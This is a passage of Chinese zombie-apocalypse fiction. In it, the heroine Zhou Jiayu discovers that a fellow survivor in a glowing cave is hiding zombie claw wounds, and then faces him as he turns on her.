山洞里的石头以钟乳石为主,含有丰富的磷灰石和萤石等矿物质,尤其是地下河那片,这种会发光的钟乳石将周围找的很亮,虽然达不到白天那种程度,也足够周嘉语看清那人手臂上的伤口。 那是并排的四个小洞,四周的皮肤已经发红脓肿,还透着黑。那人一直浇水揉搓,连表面的皮都给搓下来了,露出内里的血肉,却不是鲜红的,而是一种腐烂的糜红,这人却眉头都不皱,依旧使劲揉搓着。 周嘉语用手比了一下,发现除却大拇指的四根只投刚好能对应那四个洞。 那是指甲的刺伤。 但人的手指不会这样坚硬,如果他遇上的是野兽,早就被撕碎了。那么,他遇到的是什么呢? 这两日他都在洞穴里睡觉,喊他吃饭也没动静,只是说很困,他是在躲避什么? 受了这么严重的伤却不告诉同伴,幸存下来的人们多半是年轻人,大家都是一起长大的,他宁肯死死捂着晚上来这里偷偷清洗伤口也不说出来,他在隐瞒什么? 他在害怕什么? 排除所有错误的选项,正确答案显而易见。 沈英说被僵尸咬过的人会转化成新的僵尸,那么被僵尸抓伤的人是不是也会变成僵尸?这才是他不敢说的理由,因为一旦被人知晓,等待他的结果只有死亡。 那人忽然吸了吸气,忽然转过头来看向周嘉语的方向,猝不及防之下,周嘉语对上了他的视线。 那是一张怎样的脸啊,皮肤干枯沟壑纵横,眼窝深陷,那双眼睛像是两个按上去的玻璃球一样凸出来,肤色像刮了一层腻子似的白,死白。 哦豁,翻车了。 看着那人向自己走来,周嘉语还很冷静地历练是不是失败了。有些懊悔自己怎么不小心一点,或者是叫上沈英,自己还是没适应现在的身份,她忘了自己已经没法一人打十个,现在的她弱的谁都可以欺负一下。 那人抬起手,指甲长又黑,张开的嘴巴里露出渐渐的牙齿。 听说僵尸是吸血的,周嘉语心想,与其被刺死或者要死,要不还是她自己一头撞死吧。 好歹死得体面一点,沈英要是发现他心上人的尸体,这样或许会让他好受一点。